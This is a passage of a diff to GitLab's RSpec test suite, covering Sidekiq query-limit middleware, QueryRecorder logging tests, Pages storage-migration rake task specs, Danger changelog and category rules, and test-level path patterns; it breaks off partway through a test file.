@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'in-product marketing email' do
+ before do
+ stub_application_setting(in_product_marketing_emails_enabled: in_product_marketing_emails_enabled)
+ stub_experiment(in_product_marketing_emails: experiment_active)
+ allow(::Gitlab).to receive(:com?).and_return(is_gitlab_com)
+ end
+
+ it 'executes the email service service' do
+ expect(Namespaces::InProductMarketingEmailsService).to receive(:send_for_all_tracks_and_intervals).exactly(executes_service).times
+
+ subject.perform
+ end
+end
diff --git a/spec/support/shared_examples/workers/worker_with_data_consistency_shared_example.rb b/spec/support/shared_examples/workers/worker_with_data_consistency_shared_example.rb
new file mode 100644
index 00000000000..ec09c0380f9
--- /dev/null
+++ b/spec/support/shared_examples/workers/worker_with_data_consistency_shared_example.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'worker with data consistency' do |worker_class, data_consistency: :always, feature_flag: nil|
+ describe '.get_data_consistency_feature_flag_enabled?' do
+ it 'returns true' do
+ expect(worker_class.get_data_consistency_feature_flag_enabled?).to be(true)
+ end
+
+ if feature_flag
+ context "when feature flag :#{feature_flag} is disabled" do
+ before do
+ stub_feature_flags(feature_flag => false)
+ end
+
+ it 'returns false' do
+ expect(worker_class.get_data_consistency_feature_flag_enabled?).to be(false)
+ end
+ end
+ end
+ end
+
+ describe '.get_data_consistency' do
+ it 'returns correct data consistency' do
+ expect(worker_class.get_data_consistency).to eq(data_consistency)
+ end
+ end
+end
diff --git a/spec/support/sidekiq_middleware.rb b/spec/support/sidekiq_middleware.rb
index 62f81ef1669..cbd6163d46b 100644
--- a/spec/support/sidekiq_middleware.rb
+++ b/spec/support/sidekiq_middleware.rb
@@ -15,20 +15,14 @@ end
# If Sidekiq::Testing.inline! is used, SQL transactions done inside
# Sidekiq worker are included in the SQL query limit (in a real
-# deployment sidekiq worker is executed separately). To avoid
-# increasing SQL limit counter, the request is marked as whitelisted
-# during Sidekiq block
+# deployment sidekiq worker is executed separately). To avoid increasing
+# SQL limit counter, query limiting is disabled during Sidekiq block
class DisableQueryLimit
def call(worker_instance, msg, queue)
- transaction = Gitlab::QueryLimiting::Transaction.current
-
- if !transaction.respond_to?(:whitelisted) || transaction.whitelisted
- yield
- else
- transaction.whitelisted = true
- yield
- transaction.whitelisted = false
- end
+ ::Gitlab::QueryLimiting.disable!('https://mock-issue')
+ yield
+ ensure
+ ::Gitlab::QueryLimiting.enable!
end
end
diff --git a/spec/support_specs/helpers/active_record/query_recorder_spec.rb b/spec/support_specs/helpers/active_record/query_recorder_spec.rb
index f968f511a2a..f1af9ceffb9 100644
--- a/spec/support_specs/helpers/active_record/query_recorder_spec.rb
+++ b/spec/support_specs/helpers/active_record/query_recorder_spec.rb
@@ -11,6 +11,72 @@ RSpec.describe ActiveRecord::QueryRecorder do
end
end
+ describe 'printing to the log' do
+ let(:backtrace) { %r{QueryRecorder backtrace: --> (\w+/)*\w+\.rb:\d+:in `.*'} }
+ let(:duration_line) { %r{QueryRecorder DURATION: --> \d+\.\d+} }
+
+ def expect_section(query, lines)
+ query_lines = lines.take(query.size)
+
+ # the query comes first
+ expect(query_lines).to match(query)
+
+ # followed by the duration
+ expect(lines[query.size]).to match(duration_line)
+
+ # and then one or more lines of backtrace
+ backtrace_lines = lines.drop(query.size + 1).take_while { |line| line.match(backtrace) }
+ expect(backtrace_lines).not_to be_empty
+
+ # Advance to the next section
+ lines.drop(query.size + 1 + backtrace_lines.size)
+ end
+
+ it 'prints SQL, duration and backtrace, all prefixed with QueryRecorder', :aggregate_failures do
+ io = StringIO.new
+
+ control = ActiveRecord::QueryRecorder.new(log_file: io, query_recorder_debug: true) do
+ TestQueries.count
+ TestQueries.first
+ TestQueries.where(<<~FRAGMENT).to_a # tests multi-line SQL
+ version = 'foo'
+ OR
+ version = 'bar'
+ FRAGMENT
+ end
+
+ query_a = start_with(%q[QueryRecorder SQL: --> SELECT COUNT(*) FROM "schema_migrations"])
+
+ query_b = start_with(%q[QueryRecorder SQL: --> SELECT "schema_migrations".* FROM "schema_migrations" ORDER BY "schema_migrations"."version" ASC LIMIT 1])
+
+ query_c_a = eq(%q[QueryRecorder SQL: --> SELECT "schema_migrations".* FROM "schema_migrations" WHERE (version = 'foo'])
+ query_c_b = eq(%q(QueryRecorder SQL: --> OR))
+ query_c_c = eq(%q(QueryRecorder SQL: --> version = 'bar'))
+ query_c_d = start_with("QueryRecorder SQL: --> )")
+
+ expect(control.count).to eq(3)
+
+ lines = io.string.lines.map(&:chomp)
+
+ expect(lines).to all(start_with('QueryRecorder'))
+ lines = expect_section([query_a], lines)
+ lines = expect_section([query_b], lines)
+ lines = expect_section([query_c_a, query_c_b, query_c_c, query_c_d], lines)
+
+ expect(lines).to be_empty
+ end
+ end
+
+ it 'includes duration information' do
+ control = ActiveRecord::QueryRecorder.new do
+ TestQueries.count
+ TestQueries.first
+ end
+
+ expect(control.count).to eq(2)
+ expect(control.data.values.flat_map { _1[:durations] }).to match([be > 0, be > 0])
+ end
+
describe 'detecting the right number of calls and their origin' do
it 'detects two separate queries' do
control = ActiveRecord::QueryRecorder.new query_recorder_debug: true do
@@ -23,10 +89,10 @@ RSpec.describe ActiveRecord::QueryRecorder do
.to eq(control.data.keys.size)
# Ensure exactly 2 COUNT queries were detected
expect(control.occurrences_by_line_method.last[1][:occurrences]
- .find_all {|i| i.match(/SELECT COUNT/) }.count).to eq(2)
+ .count { |str| str.start_with?('SELECT COUNT') }).to eq(2)
# Ensure exactly 1 LIMIT 1 (#first)
expect(control.occurrences_by_line_method.first[1][:occurrences]
- .find_all { |i| i.match(/ORDER BY.*#{TestQueries.table_name}.*LIMIT 1/) }.count).to eq(1)
+ .count { |str| str.match(/ORDER BY.*#{TestQueries.table_name}.*LIMIT 1/) }).to eq(1)
# Ensure 3 DB calls overall were executed
expect(control.log.size).to eq(3)
diff --git a/spec/support_specs/matchers/exceed_query_limit_helpers_spec.rb b/spec/support_specs/matchers/exceed_query_limit_helpers_spec.rb
index 6d8d9ba0754..67d87fe3c2f 100644
--- a/spec/support_specs/matchers/exceed_query_limit_helpers_spec.rb
+++ b/spec/support_specs/matchers/exceed_query_limit_helpers_spec.rb
@@ -225,6 +225,16 @@ RSpec.describe ExceedQueryLimitHelpers do
expect(test_matcher.actual_count).to eq(2)
end
+ it 'can filter specific models' do
+ test_matcher = TestMatcher.new.for_model(TestQueries)
+ test_matcher.verify_count do
+ TestQueries.first
+ TestQueries.connection.execute('select 1')
+ end
+
+ expect(test_matcher.actual_count).to eq(1)
+ end
+
it 'can ignore specific queries' do
test_matcher = TestMatcher.new.ignoring(/foobar/)
test_matcher.verify_count do
diff --git a/spec/tasks/gitlab/gitaly_rake_spec.rb b/spec/tasks/gitlab/gitaly_rake_spec.rb
index efc983d526f..1b38580f484 100644
--- a/spec/tasks/gitlab/gitaly_rake_spec.rb
+++ b/spec/tasks/gitlab/gitaly_rake_spec.rb
@@ -41,6 +41,7 @@ RSpec.describe 'gitlab:gitaly namespace rake task' do
describe 'checkout or clone' do
before do
+ stub_env('CI', false)
expect(Dir).to receive(:chdir).with(clone_path)
end
@@ -86,18 +87,14 @@ RSpec.describe 'gitlab:gitaly namespace rake task' do
end
context 'when Rails.env is test' do
- let(:command) do
- %W[make
- BUNDLE_FLAGS=--no-deployment
- GEM_HOME=#{Bundler.bundle_path}]
- end
+ let(:command) { %w[make] }
before do
stub_rails_env('test')
end
- it 'calls make in the gitaly directory with --no-deployment flag for bundle' do
- expect(Gitlab::Popen).to receive(:popen).with(command, nil, { "BUNDLE_GEMFILE" => nil, "RUBYOPT" => nil }).and_return(true)
+ it 'calls make in the gitaly directory with BUNDLE_DEPLOYMENT and GEM_HOME variables' do
+ expect(Gitlab::Popen).to receive(:popen).with(command, nil, { "BUNDLE_GEMFILE" => nil, "RUBYOPT" => nil, "BUNDLE_DEPLOYMENT" => 'false', "GEM_HOME" => Bundler.bundle_path.to_s }).and_return(true)
subject
end
diff --git a/spec/tasks/gitlab/pages_rake_spec.rb b/spec/tasks/gitlab/pages_rake_spec.rb
index 08194f4d1c9..664899c361b 100644
--- a/spec/tasks/gitlab/pages_rake_spec.rb
+++ b/spec/tasks/gitlab/pages_rake_spec.rb
@@ -12,10 +12,9 @@ RSpec.describe 'gitlab:pages' do
it 'calls migration service' do
expect_next_instance_of(::Pages::MigrateFromLegacyStorageService, anything,
- migration_threads: 3,
- batch_size: 10,
- ignore_invalid_entries: false) do |service|
- expect(service).to receive(:execute).and_call_original
+ ignore_invalid_entries: false,
+ mark_projects_as_not_deployed: false) do |service|
+ expect(service).to receive(:execute_with_threads).with(threads: 3, batch_size: 10).and_call_original
end
subject
@@ -25,10 +24,9 @@ RSpec.describe 'gitlab:pages' do
stub_env('PAGES_MIGRATION_THREADS', '5')
expect_next_instance_of(::Pages::MigrateFromLegacyStorageService, anything,
- migration_threads: 5,
- batch_size: 10,
- ignore_invalid_entries: false) do |service|
- expect(service).to receive(:execute).and_call_original
+ ignore_invalid_entries: false,
+ mark_projects_as_not_deployed: false) do |service|
+ expect(service).to receive(:execute_with_threads).with(threads: 5, batch_size: 10).and_call_original
end
subject
@@ -38,10 +36,9 @@ RSpec.describe 'gitlab:pages' do
stub_env('PAGES_MIGRATION_BATCH_SIZE', '100')
expect_next_instance_of(::Pages::MigrateFromLegacyStorageService, anything,
- migration_threads: 3,
- batch_size: 100,
- ignore_invalid_entries: false) do |service|
- expect(service).to receive(:execute).and_call_original
+ ignore_invalid_entries: false,
+ mark_projects_as_not_deployed: false) do |service|
+ expect(service).to receive(:execute_with_threads).with(threads: 3, batch_size: 100).and_call_original
end
subject
@@ -51,10 +48,21 @@ RSpec.describe 'gitlab:pages' do
stub_env('PAGES_MIGRATION_IGNORE_INVALID_ENTRIES', 'true')
expect_next_instance_of(::Pages::MigrateFromLegacyStorageService, anything,
- migration_threads: 3,
- batch_size: 10,
- ignore_invalid_entries: true) do |service|
- expect(service).to receive(:execute).and_call_original
+ ignore_invalid_entries: true,
+ mark_projects_as_not_deployed: false) do |service|
+ expect(service).to receive(:execute_with_threads).with(threads: 3, batch_size: 10).and_call_original
+ end
+
+ subject
+ end
+
+ it 'uses PAGES_MIGRATION_MARK_PROJECTS_AS_NOT_DEPLOYED environment variable' do
+ stub_env('PAGES_MIGRATION_MARK_PROJECTS_AS_NOT_DEPLOYED', 'true')
+
+ expect_next_instance_of(::Pages::MigrateFromLegacyStorageService, anything,
+ ignore_invalid_entries: false,
+ mark_projects_as_not_deployed: true) do |service|
+ expect(service).to receive(:execute_with_threads).with(threads: 3, batch_size: 10).and_call_original
end
subject
@@ -78,4 +86,80 @@ RSpec.describe 'gitlab:pages' do
expect(PagesDeployment.find_by_id(migrated_deployment.id)).to be_nil
end
end
+
+ describe 'gitlab:pages:deployments:migrate_to_object_storage' do
+ subject { run_rake_task('gitlab:pages:deployments:migrate_to_object_storage') }
+
+ before do
+ stub_pages_object_storage(::Pages::DeploymentUploader, enabled: object_storage_enabled)
+ end
+
+ let!(:deployment) { create(:pages_deployment, file_store: store) }
+ let(:object_storage_enabled) { true }
+
+ context 'when local storage is used' do
+ let(:store) { ObjectStorage::Store::LOCAL }
+
+ context 'and remote storage is defined' do
+ it 'migrates file to remote storage' do
+ subject
+
+ expect(deployment.reload.file_store).to eq(ObjectStorage::Store::REMOTE)
+ end
+ end
+
+ context 'and remote storage is not defined' do
+ let(:object_storage_enabled) { false }
+
+ it 'fails to migrate to remote storage' do
+ subject
+
+ expect(deployment.reload.file_store).to eq(ObjectStorage::Store::LOCAL)
+ end
+ end
+ end
+
+ context 'when remote storage is used' do
+ let(:store) { ObjectStorage::Store::REMOTE }
+
+ it 'file stays on remote storage' do
+ subject
+
+ expect(deployment.reload.file_store).to eq(ObjectStorage::Store::REMOTE)
+ end
+ end
+ end
+
+ describe 'gitlab:pages:deployments:migrate_to_local' do
+ subject { run_rake_task('gitlab:pages:deployments:migrate_to_local') }
+
+ before do
+ stub_pages_object_storage(::Pages::DeploymentUploader, enabled: object_storage_enabled)
+ end
+
+ let!(:deployment) { create(:pages_deployment, file_store: store) }
+ let(:object_storage_enabled) { true }
+
+ context 'when remote storage is used' do
+ let(:store) { ObjectStorage::Store::REMOTE }
+
+ context 'and job has remote file store defined' do
+ it 'migrates file to local storage' do
+ subject
+
+ expect(deployment.reload.file_store).to eq(ObjectStorage::Store::LOCAL)
+ end
+ end
+ end
+
+ context 'when local storage is used' do
+ let(:store) { ObjectStorage::Store::LOCAL }
+
+ it 'file stays on local storage' do
+ subject
+
+ expect(deployment.reload.file_store).to eq(ObjectStorage::Store::LOCAL)
+ end
+ end
+ end
end
diff --git a/spec/tasks/gitlab/usage_data_rake_spec.rb b/spec/tasks/gitlab/usage_data_rake_spec.rb
index 0ee6fbef53f..84269568b8b 100644
--- a/spec/tasks/gitlab/usage_data_rake_spec.rb
+++ b/spec/tasks/gitlab/usage_data_rake_spec.rb
@@ -3,22 +3,12 @@
require 'rake_helper'
RSpec.describe 'gitlab:usage data take tasks' do
+ include UsageDataHelpers
+
before do
Rake.application.rake_require 'tasks/gitlab/usage_data'
# stub prometheus external http calls https://gitlab.com/gitlab-org/gitlab/-/issues/245277
- stub_request(:get, %r{^http[s]?://::1:9090/-/ready})
- .to_return(
- status: 200,
- body: [{}].to_json,
- headers: { 'Content-Type' => 'application/json' }
- )
-
- stub_request(:get, %r{^http[s]?://::1:9090/api/v1/query\?query=.*})
- .to_return(
- status: 200,
- body: [{}].to_json,
- headers: { 'Content-Type' => 'application/json' }
- )
+ stub_prometheus_queries
end
describe 'dump_sql_in_yaml' do
diff --git a/spec/tooling/danger/changelog_spec.rb b/spec/tooling/danger/changelog_spec.rb
index b74039b3cd1..7ea2288fd45 100644
--- a/spec/tooling/danger/changelog_spec.rb
+++ b/spec/tooling/danger/changelog_spec.rb
@@ -161,23 +161,42 @@ RSpec.describe Tooling::Danger::Changelog do
describe '#modified_text' do
subject { changelog.modified_text }
- context "when title is not changed from sanitization", :aggregate_failures do
- let(:mr_title) { 'Fake Title' }
+ context 'when in CI context' do
+ shared_examples 'changelog modified text' do |key|
+ specify do
+ expect(subject).to include('CHANGELOG.md was edited')
+ expect(subject).to include('bin/changelog -m 1234 "Fake Title"')
+ expect(subject).to include('bin/changelog --ee -m 1234 "Fake Title"')
+ end
+ end
- specify do
- expect(subject).to include('CHANGELOG.md was edited')
- expect(subject).to include('bin/changelog -m 1234 "Fake Title"')
- expect(subject).to include('bin/changelog --ee -m 1234 "Fake Title"')
+ before do
+ allow(fake_helper).to receive(:ci?).and_return(true)
+ end
+
+ context "when title is not changed from sanitization", :aggregate_failures do
+ let(:mr_title) { 'Fake Title' }
+
+ it_behaves_like 'changelog modified text'
+ end
+
+ context "when title needs sanitization", :aggregate_failures do
+ let(:mr_title) { 'DRAFT: Fake Title' }
+
+ it_behaves_like 'changelog modified text'
end
end
- context "when title needs sanitization", :aggregate_failures do
- let(:mr_title) { 'DRAFT: Fake Title' }
+ context 'when in local context' do
+ let(:mr_title) { 'Fake Title' }
+
+ before do
+ allow(fake_helper).to receive(:ci?).and_return(false)
+ end
specify do
expect(subject).to include('CHANGELOG.md was edited')
- expect(subject).to include('bin/changelog -m 1234 "Fake Title"')
- expect(subject).to include('bin/changelog --ee -m 1234 "Fake Title"')
+ expect(subject).not_to include('bin/changelog')
end
end
end
@@ -187,56 +206,116 @@ RSpec.describe Tooling::Danger::Changelog do
subject { changelog.required_texts }
- shared_examples 'changelog required text' do |key|
- specify do
- expect(subject).to have_key(key)
- expect(subject[key]).to include('CHANGELOG missing')
- expect(subject[key]).to include('bin/changelog -m 1234 "Fake Title"')
- expect(subject[key]).not_to include('--ee')
+ context 'when in CI context' do
+ before do
+ allow(fake_helper).to receive(:ci?).and_return(true)
end
- end
- context 'with a new migration file' do
- let(:changes) { changes_class.new([change_class.new('foo', :added, :migration)]) }
+ shared_examples 'changelog required text' do |key|
+ specify do
+ expect(subject).to have_key(key)
+ expect(subject[key]).to include('CHANGELOG missing')
+ expect(subject[key]).to include('bin/changelog -m 1234 "Fake Title"')
+ expect(subject[key]).not_to include('--ee')
+ end
+ end
- context "when title is not changed from sanitization", :aggregate_failures do
- it_behaves_like 'changelog required text', :db_changes
+ context 'with a new migration file' do
+ let(:changes) { changes_class.new([change_class.new('foo', :added, :migration)]) }
+
+ context "when title is not changed from sanitization", :aggregate_failures do
+ it_behaves_like 'changelog required text', :db_changes
+ end
+
+ context "when title needs sanitization", :aggregate_failures do
+ let(:mr_title) { 'DRAFT: Fake Title' }
+
+ it_behaves_like 'changelog required text', :db_changes
+ end
end
- context "when title needs sanitization", :aggregate_failures do
- let(:mr_title) { 'DRAFT: Fake Title' }
+ context 'with a removed feature flag file' do
+ let(:changes) { changes_class.new([change_class.new('foo', :deleted, :feature_flag)]) }
- it_behaves_like 'changelog required text', :db_changes
+ it_behaves_like 'changelog required text', :feature_flag_removed
end
end
- context 'with a removed feature flag file' do
- let(:changes) { changes_class.new([change_class.new('foo', :deleted, :feature_flag)]) }
+ context 'when in local context' do
+ before do
+ allow(fake_helper).to receive(:ci?).and_return(false)
+ end
+
+ shared_examples 'changelog required text' do |key|
+ specify do
+ expect(subject).to have_key(key)
+ expect(subject[key]).to include('CHANGELOG missing')
+ expect(subject[key]).not_to include('bin/changelog')
+ expect(subject[key]).not_to include('--ee')
+ end
+ end
+
+ context 'with a new migration file' do
+ let(:changes) { changes_class.new([change_class.new('foo', :added, :migration)]) }
+
+ context "when title is not changed from sanitization", :aggregate_failures do
+ it_behaves_like 'changelog required text', :db_changes
+ end
+
+ context "when title needs sanitization", :aggregate_failures do
+ let(:mr_title) { 'DRAFT: Fake Title' }
- it_behaves_like 'changelog required text', :feature_flag_removed
+ it_behaves_like 'changelog required text', :db_changes
+ end
+ end
+
+ context 'with a removed feature flag file' do
+ let(:changes) { changes_class.new([change_class.new('foo', :deleted, :feature_flag)]) }
+
+ it_behaves_like 'changelog required text', :feature_flag_removed
+ end
end
end
describe '#optional_text' do
subject { changelog.optional_text }
- context "when title is not changed from sanitization", :aggregate_failures do
- let(:mr_title) { 'Fake Title' }
+ context 'when in CI context' do
+ shared_examples 'changelog optional text' do |key|
+ specify do
+ expect(subject).to include('CHANGELOG missing')
+ expect(subject).to include('bin/changelog -m 1234 "Fake Title"')
+ expect(subject).to include('bin/changelog --ee -m 1234 "Fake Title"')
+ end
+ end
- specify do
- expect(subject).to include('CHANGELOG missing')
- expect(subject).to include('bin/changelog -m 1234 "Fake Title"')
- expect(subject).to include('bin/changelog --ee -m 1234 "Fake Title"')
+ before do
+ allow(fake_helper).to receive(:ci?).and_return(true)
+ end
+
+ context "when title is not changed from sanitization", :aggregate_failures do
+ let(:mr_title) { 'Fake Title' }
+
+ it_behaves_like 'changelog optional text'
+ end
+
+ context "when title needs sanitization", :aggregate_failures do
+ let(:mr_title) { 'DRAFT: Fake Title' }
+
+ it_behaves_like 'changelog optional text'
end
end
- context "when title needs sanitization", :aggregate_failures do
- let(:mr_title) { 'DRAFT: Fake Title' }
+ context 'when in local context' do
+ let(:mr_title) { 'Fake Title' }
+
+ before do
+ allow(fake_helper).to receive(:ci?).and_return(false)
+ end
specify do
expect(subject).to include('CHANGELOG missing')
- expect(subject).to include('bin/changelog -m 1234 "Fake Title"')
- expect(subject).to include('bin/changelog --ee -m 1234 "Fake Title"')
+ expect(subject).not_to include('bin/changelog')
end
end
end
diff --git a/spec/tooling/danger/project_helper_spec.rb b/spec/tooling/danger/project_helper_spec.rb
index a8fda901b4a..5d106f08402 100644
--- a/spec/tooling/danger/project_helper_spec.rb
+++ b/spec/tooling/danger/project_helper_spec.rb
@@ -2,7 +2,8 @@
require 'rspec-parameterized'
require 'gitlab-dangerfiles'
-require 'danger/helper'
+require 'danger'
+require 'danger/plugins/helper'
require 'gitlab/dangerfiles/spec_helper'
require_relative '../../../danger/plugins/project_helper'
@@ -43,7 +44,7 @@ RSpec.describe Tooling::Danger::ProjectHelper do
end
where(:path, :expected_categories) do
- 'usage_data.rb' | [:database, :backend]
+ 'usage_data.rb' | [:database, :backend, :product_intelligence]
'doc/foo.md' | [:docs]
'CONTRIBUTING.md' | [:docs]
'LICENSE' | [:docs]
@@ -140,6 +141,7 @@ RSpec.describe Tooling::Danger::ProjectHelper do
'ee/db/geo/post_migrate/foo' | [:database, :migration]
'app/models/project_authorization.rb' | [:database]
'app/services/users/refresh_authorized_projects_service.rb' | [:database]
+ 'app/services/authorized_project_update/find_records_due_for_refresh_service.rb' | [:database]
'lib/gitlab/background_migration.rb' | [:database]
'lib/gitlab/background_migration/foo' | [:database]
'ee/lib/gitlab/background_migration/foo' | [:database]
@@ -157,6 +159,9 @@ RSpec.describe Tooling::Danger::ProjectHelper do
'qa/foo' | [:qa]
'ee/qa/foo' | [:qa]
+ 'workhorse/main.go' | [:workhorse]
+ 'workhorse/internal/upload/upload.go' | [:workhorse]
+
'changelogs/foo' | [:none]
'ee/changelogs/foo' | [:none]
'locale/gitlab.pot' | [:none]
@@ -168,6 +173,21 @@ RSpec.describe Tooling::Danger::ProjectHelper do
'foo/bar.js' | [:frontend]
'foo/bar.txt' | [:none]
'foo/bar.md' | [:none]
+
+ 'ee/config/metrics/counts_7d/20210216174919_g_analytics_issues_weekly.yml' | [:product_intelligence]
+ 'lib/gitlab/usage_data_counters/aggregated_metrics/common.yml' | [:product_intelligence]
+ 'lib/gitlab/usage_data_counters/hll_redis_counter.rb' | [:backend, :product_intelligence]
+ 'doc/development/usage_ping/dictionary.md' | [:docs, :product_intelligence]
+ 'lib/gitlab/tracking.rb' | [:backend, :product_intelligence]
+ 'spec/lib/gitlab/tracking_spec.rb' | [:backend, :product_intelligence]
+ 'app/helpers/tracking_helper.rb' | [:backend, :product_intelligence]
+ 'spec/helpers/tracking_helper_spec.rb' | [:backend, :product_intelligence]
+ 'lib/generators/rails/usage_metric_definition_generator.rb' | [:backend, :product_intelligence]
+ 'spec/lib/generators/usage_metric_definition_generator_spec.rb' | [:backend, :product_intelligence]
+ 'config/metrics/schema.json' | [:product_intelligence]
+ 'app/assets/javascripts/tracking.js' | [:frontend, :product_intelligence]
+ 'spec/frontend/tracking_spec.js' | [:frontend, :product_intelligence]
+ 'lib/gitlab/usage_database/foo.rb' | [:backend]
end
with_them do
@@ -178,12 +198,12 @@ RSpec.describe Tooling::Danger::ProjectHelper do
context 'having specific changes' do
where(:expected_categories, :patch, :changed_files) do
- [:database, :backend] | '+ count(User.active)' | ['usage_data.rb', 'lib/gitlab/usage_data.rb', 'ee/lib/ee/gitlab/usage_data.rb']
- [:database, :backend] | '+ estimate_batch_distinct_count(User.active)' | ['usage_data.rb']
- [:backend] | '+ alt_usage_data(User.active)' | ['usage_data.rb']
- [:backend] | '+ count(User.active)' | ['user.rb']
- [:backend] | '+ count(User.active)' | ['usage_data/topology.rb']
- [:backend] | '+ foo_count(User.active)' | ['usage_data.rb']
+ [:database, :backend, :product_intelligence] | '+ count(User.active)' | ['usage_data.rb', 'lib/gitlab/usage_data.rb', 'ee/lib/ee/gitlab/usage_data.rb']
+ [:database, :backend, :product_intelligence] | '+ estimate_batch_distinct_count(User.active)' | ['usage_data.rb']
+ [:backend, :product_intelligence] | '+ alt_usage_data(User.active)' | ['lib/gitlab/usage_data.rb']
+ [:backend, :product_intelligence] | '+ count(User.active)' | ['lib/gitlab/usage_data/topology.rb']
+ [:backend, :product_intelligence] | '+ foo_count(User.active)' | ['lib/gitlab/usage_data.rb']
+ [:backend] | '+ count(User.active)' | ['user.rb']
end
with_them do
@@ -200,7 +220,7 @@ RSpec.describe Tooling::Danger::ProjectHelper do
describe '.local_warning_message' do
it 'returns an informational message with rules that can run' do
- expect(described_class.local_warning_message).to eq('==> Only the following Danger rules can be run locally: changes_size, commit_messages, database, documentation, duplicate_yarn_dependencies, eslint, karma, pajamas, pipeline, prettier, product_intelligence, utility_css')
+ expect(described_class.local_warning_message).to eq('==> Only the following Danger rules can be run locally: changelog, changes_size, commit_messages, database, datateam, documentation, duplicate_yarn_dependencies, eslint, karma, pajamas, pipeline, prettier, product_intelligence, utility_css')
end
end
diff --git a/spec/tooling/lib/tooling/kubernetes_client_spec.rb b/spec/tooling/lib/tooling/kubernetes_client_spec.rb
index 4a84ec09b5c..636727401af 100644
--- a/spec/tooling/lib/tooling/kubernetes_client_spec.rb
+++ b/spec/tooling/lib/tooling/kubernetes_client_spec.rb
@@ -123,6 +123,16 @@ RSpec.describe Tooling::KubernetesClient do
it_behaves_like 'a kubectl command to delete resources by older than given creation time'
end
+
+ context 'with no resources found' do
+ let(:resource_names) { [] }
+
+ it 'does not call #delete_by_exact_names' do
+ expect(subject).not_to receive(:delete_by_exact_names)
+
+ subject.cleanup_by_created_at(resource_type: resource_type, created_before: two_days_ago)
+ end
+ end
end
describe '#raw_resource_names' do
diff --git a/spec/tooling/merge_request_spec.rb b/spec/tooling/merge_request_spec.rb
new file mode 100644
index 00000000000..de6fd48ad9f
--- /dev/null
+++ b/spec/tooling/merge_request_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'webmock/rspec'
+
+require_relative '../../tooling/merge_request'
+require_relative '../support/helpers/next_instance_of'
+
+RSpec.describe Tooling::MergeRequest do
+ let(:project_path) { 'gitlab-org/gitlab' }
+ let(:branch_name) { 'my-branch' }
+ let(:merge_request_iid) { 123 }
+ let(:merge_requests) { [{ 'iid' => merge_request_iid }] }
+
+ describe '.for' do
+ let(:stub_api) do
+ stub_request(:get, "https://gitlab.com/api/v4/projects/gitlab-org%2Fgitlab/merge_requests")
+ .and_return(body: merge_requests)
+ end
+
+ before do
+ stub_api.with(query: { source_branch: branch_name, order_by: 'updated_at', sort: 'desc' })
+ end
+
+ it 'fetches merge request for local branch in the given GitLab project path' do
+ merge_request = described_class.for(branch: branch_name, project_path: project_path)
+
+ expect(merge_request.iid).to eq(merge_request_iid)
+ expect(stub_api).to have_been_requested.once
+ end
+ end
+end
diff --git a/spec/tooling/quality/test_level_spec.rb b/spec/tooling/quality/test_level_spec.rb
new file mode 100644
index 00000000000..89abe337347
--- /dev/null
+++ b/spec/tooling/quality/test_level_spec.rb
@@ -0,0 +1,225 @@
+# frozen_string_literal: true
+
+require_relative '../../../tooling/quality/test_level'
+
+RSpec.describe Quality::TestLevel do
+ describe '#pattern' do
+ context 'when level is all' do
+ it 'returns a pattern' do
+ expect(subject.pattern(:all))
+ .to eq("spec/**{,/**/}*_spec.rb")
+ end
+ end
+
+ context 'when level is geo' do
+ it 'returns a pattern' do
+ expect(subject.pattern(:geo))
+ .to eq("spec/**{,/**/}*_spec.rb")
+ end
+ end
+
+ context 'when level is frontend_fixture' do
+ it 'returns a pattern' do
+ expect(subject.pattern(:frontend_fixture))
+ .to eq("spec/{frontend/fixtures}{,/**/}*.rb")
+ end
+ end
+
+ context 'when level is unit' do
+ it 'returns a pattern' do
+ expect(subject.pattern(:unit))
+ .to eq("spec/{bin,channels,config,db,dependencies,elastic,elastic_integration,experiments,factories,finders,frontend,graphql,haml_lint,helpers,initializers,javascripts,lib,models,policies,presenters,rack_servers,replicators,routing,rubocop,serializers,services,sidekiq,spam,support_specs,tasks,uploaders,validators,views,workers,tooling}{,/**/}*_spec.rb")
+ end
+ end
+
+ context 'when level is migration' do
+ it 'returns a pattern' do
+ expect(subject.pattern(:migration))
+ .to eq("spec/{migrations,lib/gitlab/background_migration,lib/ee/gitlab/background_migration}{,/**/}*_spec.rb")
+ end
+ end
+
+ context 'when level is background_migration' do
+ it 'returns a pattern' do
+ expect(subject.pattern(:background_migration))
+ .to eq("spec/{lib/gitlab/background_migration,lib/ee/gitlab/background_migration}{,/**/}*_spec.rb")
+ end
+ end
+
+ context 'when level is integration' do
+ it 'returns a pattern' do
+ expect(subject.pattern(:integration))
+ .to eq("spec/{controllers,mailers,requests}{,/**/}*_spec.rb")
+ end
+ end
+
+ context 'when level is system' do
+ it 'returns a pattern' do
+ expect(subject.pattern(:system))
+ .to eq("spec/{features}{,/**/}*_spec.rb")
+ end
+ end
+
+ context 'with a prefix' do
+ it 'returns a pattern' do
+ expect(described_class.new('ee/').pattern(:system))
+ .to eq("ee/spec/{features}{,/**/}*_spec.rb")
+ end
+ end
+
+ describe 'performance' do
+ it 'memoizes the pattern for a given level' do
+ expect(subject.pattern(:system).object_id).to eq(subject.pattern(:system).object_id)
+ end
+
+ it 'freezes the pattern for a given level' do
+ expect(subject.pattern(:system)).to be_frozen
+ end
+ end
+ end
+
+ describe '#regexp' do
+ context 'when level is all' do
+ it 'returns a regexp' do
+ expect(subject.regexp(:all))
+ .to eq(%r{spec/})
+ end
+ end
+
+ context 'when level is geo' do
+ it 'returns a regexp' do
+ expect(subject.regexp(:geo))
+ .to eq(%r{spec/})
+ end
+ end
+
+ context 'when level is frontend_fixture' do
+ it 'returns a regexp' do
+ expect(subject.regexp(:frontend_fixture))
+ .to eq(%r{spec/(frontend/fixtures)})
+ end
+ end
+
+ context 'when level is unit' do
+ it 'returns a regexp' do
+ expect(subject.regexp(:unit))
+ .to eq(%r{spec/(bin|channels|config|db|dependencies|elastic|elastic_integration|experiments|factories|finders|frontend|graphql|haml_lint|helpers|initializers|javascripts|lib|models|policies|presenters|rack_servers|replicators|routing|rubocop|serializers|services|sidekiq|spam|support_specs|tasks|uploaders|validators|views|workers|tooling)})
+ end
+ end
+
+ context 'when level is migration' do
+ it 'returns a regexp' do
+ expect(subject.regexp(:migration))
+ .to eq(%r{spec/(migrations|lib/gitlab/background_migration|lib/ee/gitlab/background_migration)})
+ end
+ end
+
+ context 'when level is background_migration' do
+ it 'returns a regexp' do
+ expect(subject.regexp(:background_migration))
